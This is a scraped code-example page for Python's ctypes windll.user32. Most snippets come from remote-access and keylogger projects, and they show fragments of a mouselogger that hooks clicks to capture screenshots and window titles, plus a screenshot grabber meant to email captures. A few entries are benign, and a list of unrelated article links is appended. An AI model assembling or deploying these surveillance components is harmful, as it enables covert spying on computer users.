Python ctypes.windll.user32() Examples
Example 1
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 7 votes | ![]() ![]() |
def get_current_process():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
#process_id = "%d" % pid.value
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
return executable.value, window_title.value
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 6 votes | ![]() ![]() |
def get_current_process():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
#process_id = "%d" % pid.value
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
return executable.value, window_title.value
Example 3
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 6 votes | ![]() ![]() |
def get_current_process():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
#process_id = "%d" % pid.value
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
return executable.value, window_title.value
Example 4
| Project: KeyPlexer Author: nairuzabulhul File: screenshots.py View Source Project | 6 votes | ![]() ![]() |
def capture_screenshots(file_path):
"""This function takes snap shots of
the host machine and send them by email.
Every 13 captures image, an email is sent"""
# using DPI aware to capture a full screenshot
user32 = windll.user32
user32.SetProcessDPIAware()
if not os.path.exists(file_path):
os.mkdir(file_path)
#counter = 0 # counter to create multiple screen shots
#while True:
#time.sleep(2) #evey 10 minutes
image = ImageGrab.grab() # grab the image
save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') + '.jpg')
image.save(save_as)
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def queryMousePosition():
pt = POINT()
windll.user32.GetCursorPos(byref(pt))
return { "x": pt.x, "y": pt.y}
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def __init__(self, *args, **kwargs):
threading.Thread.__init__(self, *args, **kwargs)
self.hooked = None
self.daemon=True
self.lUser32=user32
self.pointer=None
self.stopped=False
self.screenshots=[]
Example 7
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def run(self):
if self.install_hook():
#print "mouselogger installed"
pass
else:
raise RuntimeError("couldn't install mouselogger")
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
while not self.stopped:
time.sleep(1)
self.uninstall_hook()
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def hook_proc(self, nCode, wParam, lParam):
##http://www.pinvoke.net/default.aspx/Constants.WM
if wParam == 0x201:
buf, height, width = self.get_screenshot()
exe, win_title="unknown", "unknown"
try:
exe, win_title=get_current_process()
except Exception:
pass
self.screenshots.append((str(datetime.datetime.now()), height, width, exe, win_title, base64.b64encode(buf)))
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
#credit: Black Hat Python - https://www.nostarch.com/blackhatpython
| Project: Modeling-Cloth Author: the3dadvantage File: ModelingCloth.py View Source Project | 5 votes | ![]() ![]() |
def queryMousePosition():
pt = POINT()
windll.user32.GetCursorPos(byref(pt))
return { "x": pt.x, "y": pt.y}
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def queryMousePosition():
pt = POINT()
windll.user32.GetCursorPos(byref(pt))
return { "x": pt.x, "y": pt.y}
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def __init__(self, *args, **kwargs):
threading.Thread.__init__(self, *args, **kwargs)
self.hooked = None
self.daemon=True
self.lUser32=user32
self.pointer=None
self.stopped=False
self.screenshots=[]
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def run(self):
if self.install_hook():
#print "mouselogger installed"
pass
else:
raise RuntimeError("couldn't install mouselogger")
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
while not self.stopped:
time.sleep(1)
self.uninstall_hook()
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def hook_proc(self, nCode, wParam, lParam):
##http://www.pinvoke.net/default.aspx/Constants.WM
if wParam == 0x201:
buf, height, width = self.get_screenshot()
exe, win_title="unknown", "unknown"
try:
exe, win_title=get_current_process()
except Exception:
pass
self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
#credit: Black Hat Python - https://www.nostarch.com/blackhatpython
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def queryMousePosition():
pt = POINT()
windll.user32.GetCursorPos(byref(pt))
return { "x": pt.x, "y": pt.y}
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def __init__(self, *args, **kwargs):
threading.Thread.__init__(self, *args, **kwargs)
self.hooked = None
self.daemon=True
self.lUser32=user32
self.pointer=None
self.stopped=False
self.screenshots=[]
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def run(self):
if self.install_hook():
#print "mouselogger installed"
pass
else:
raise RuntimeError("couldn't install mouselogger")
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
while not self.stopped:
time.sleep(1)
self.uninstall_hook()
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes | ![]() ![]() |
def hook_proc(self, nCode, wParam, lParam):
##http://www.pinvoke.net/default.aspx/Constants.WM
if wParam == 0x201:
buf, height, width = self.get_screenshot()
exe, win_title="unknown", "unknown"
try:
exe, win_title=get_current_process()
except Exception:
pass
self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
#credit: Black Hat Python - https://www.nostarch.com/blackhatpython
| Project: KeyPlexer Author: nairuzabulhul File: screenshots(OLD module).py View Source Project | 5 votes | ![]() ![]() |
def capture_screenshots(file_path):
"""This function takes snap shots of
the host machine and send them by email.
Every 13 captures image, an email is sent"""
#threading.Timer(5,capture_screenshots, [file_path]).start()
# using DPI aware to capture a full screenshot
user32 = windll.user32
user32.SetProcessDPIAware()
if not os.path.exists(file_path):
os.mkdir(file_path)
counter = 0 # counter to create multiple screen shots
while True:
time.sleep(10) #evey 10 minutes
image = ImageGrab.grab() # grab the image
save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') + str(counter) + '.jpg')
image.save(save_as)
counter += 1
if counter == 13:
conn = get_current_connection()
if conn == True :
#print "there is 3 pics in the folder"
#send_new_email(file_path)
#delete_images(file_path)
counter = 0
else:
continue
| Project: servoshell Author: paulrouget File: build_commands.py View Source Project | 5 votes | ![]() ![]() |
def notify_win(title, text):
try:
from servo.win32_toast import WindowsToast
w = WindowsToast()
w.balloon_tip(title, text)
except:
from ctypes import Structure, windll, POINTER, sizeof
from ctypes.wintypes import DWORD, HANDLE, WINFUNCTYPE, BOOL, UINT
class FLASHWINDOW(Structure):
_fields_ = [("cbSize", UINT),
("hwnd", HANDLE),
("dwFlags", DWORD),
("uCount", UINT),
("dwTimeout", DWORD)]
FlashWindowExProto = WINFUNCTYPE(BOOL, POINTER(FLASHWINDOW))
FlashWindowEx = FlashWindowExProto(("FlashWindowEx", windll.user32))
FLASHW_CAPTION = 0x01
FLASHW_TRAY = 0x02
FLASHW_TIMERNOFG = 0x0C
params = FLASHWINDOW(sizeof(FLASHWINDOW),
windll.kernel32.GetConsoleWindow(),
FLASHW_CAPTION | FLASHW_TRAY | FLASHW_TIMERNOFG, 3, 0)
FlashWindowEx(params)
https://www.programcreek.com/python/example/53930/ctypes.windll.user32
Python ctypes.windll.user32() Examples的更多相关文章
- 聊聊Python ctypes 模块(转载)
https://zhuanlan.zhihu.com/p/20152309?columnSlug=python-dev 作者:Jerry Jho链接:https://zhuanlan.zhihu.co ...
- python ctypes库3_如何传递并返回一个数组
可以将数组指针传递给dll,但无法返回数组指针,python中没有对应的数组指针类型. 如果需要返回数组,需借助结构体. 参考ctypes官方文档: https://docs.python.org/3 ...
- python ctypes 探究 ---- python 与 c 的交互
近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ...
- [转]python ctypes 探究 ---- python 与 c 的交互
近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ...
- python ctypes小例子
import time import ctypes import ctypes.wintypes SEE_MASK_NOCLOSEPROCESS = 0x00000040 SEE_MASK_INVOK ...
- [Python]ctypes+struct实现类c的结构化数据串行处理
1. 用C/C++实现的结构化数据处理 在涉及到比较底层的通信协议开发过程中, 往往需要开发语言能够有效的表达和处理所定义的通信协议的数据结构. 在这方面是C/C++语言是具有天然优势的: 通过str ...
- python ctypes
official tutorial for ctypes libhttps://docs.python.org/3/library/ctypes.html 1 ctypes exports the c ...
- Python ctypes 在 Python 2 和 Python 3 中的不同 // 使用ctypes过程中问题汇总
In Python 2.7, strings are byte-strings by default. In Python 3.x, they are unicode by default. Try ...
- Python ctypes的byref和pointer有啥区别
byref(n)返回的相当于C的指针右值&n,本身没有被分配空间: >>> from ctypes import *>>> n = c_int(0)> ...
随机推荐
- it工程师常用英文自我介绍常用用语
Good morning ! It is really my honor to have this opportunity for an interview, I hope i can make ...
- app开发中读取数据库信息的vue页面
<template> <!-- 容器 --> <div class="container"> <!-- 标头 --> <div ...
- FMS Dev Guide学习笔记(权限控制)
一.开发交互式的媒体应用程序 1.关于访问(权限)控制 当一个用户访问服务器的时候,默认情况下,他可以访问所有的流媒体文件和共享对象.但是你可以使用服务端ActionScript为流媒体文件和 ...
- PowerDesigner 逆向工程
原文地址:https://www.cnblogs.com/feilong3540717/archive/2011/11/18/2254040.html PowserDesigner 的打开路径:Fil ...
- 吴裕雄 17-MySQL 排序
如果我们需要对读取的数据进行排序,我们就可以使用 MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果. 以下是 SQL SELECT 语句使用 ORDER B ...
- Ros系列_学习一
刚入门ROS,不,没入门,还在门口,这是今天的总结: (一)创建一个工作空间 1.创建一个初始工作空间: mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src cat ...
- python基础学习Day9 函数的初识,实参、形参、
1.函数 def my_len(): l = [,,,,,,] count = for i in l: count += print(count) my_len() 定义的my_len()方法时,其结 ...
- led 的 platform驱动实现
http://www.linuxidc.com/Linux/2014-03/97756.htm http://blog.sina.com.cn/s/blog_6b94d5680101cn0t.html ...
- kotlin string
Kotlin String split 操作实践 内容 此文章展示kotlin中对String字符串的split操作,如果你有遇到这方面的需求,希望对你有用. 1. split + 正则 先看下系 ...
- jdk 11特性
JDK 11 总共包含 17 个新的 JEP ,分别为: 181: Nest-Based Access Control(基于嵌套的访问控制) 309: Dynamic Class-File Const ...

